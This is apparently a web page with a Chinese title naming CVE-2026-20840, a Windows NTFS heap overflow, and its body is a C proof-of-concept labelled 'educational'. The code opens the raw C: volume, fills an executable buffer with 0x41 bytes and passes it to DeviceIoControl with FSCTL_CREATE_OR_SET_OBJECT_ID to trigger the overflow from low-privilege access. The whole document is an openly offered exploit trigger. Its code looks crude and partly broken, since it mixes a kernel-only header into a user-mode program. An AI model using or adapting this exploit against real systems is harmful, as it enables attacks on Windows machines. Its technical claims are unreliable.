CVE-2026-20840 Windows NTFS堆缓冲区溢出漏洞

/* * CVE-2026-20840 Windows NTFS Heap-based Buffer Overflow PoC * Author: Security Researcher * Note: This is a conceptual PoC for educational purposes only */ #include <windows.h> #include <stdio.h> #include <ntifs.h> // NTFS-specific structures typedef struct _NTFS_ATTR_RECORD { ULONG Type; USHORT Size; USHORT NameLength; USHORT Offset; ULONG Flags; USHORT Id; ULONG Length; ULONG Reserved; } NTFS_ATTR_RECORD, *PNTFS_ATTR_RECORD; // Trigger the heap overflow in NTFS void trigger_ntfs_heap_overflow() { HANDLE hFile; DWORD bytesWritten; PVOID buffer; // Create a file with specially crafted attributes hFile = CreateFile("\\\\.\\C:", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_NO_BUFFERING, NULL); if (hFile == INVALID_HANDLE_VALUE) { printf("Failed to open NTFS volume\n"); return; } // Allocate buffer for overflow payload buffer = VirtualAlloc(NULL, 0x10000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (buffer) { // Fill with pattern to trigger overflow memset(buffer, 0x41, 0xFFFF); // Write to trigger NTFS attribute processing DeviceIoControl(hFile, FSCTL_CREATE_OR_SET_OBJECT_ID, buffer, 0xFFFF, NULL, 0, &bytesWritten, NULL); VirtualFree(buffer, 0, MEM_RELEASE); } CloseHandle(hFile); } int main() { printf("CVE-2026-20840 NTFS Heap Overflow Trigger\n"); printf("Requires low-privilege local access\n"); trigger_ntfs_heap_overflow(); return 0; }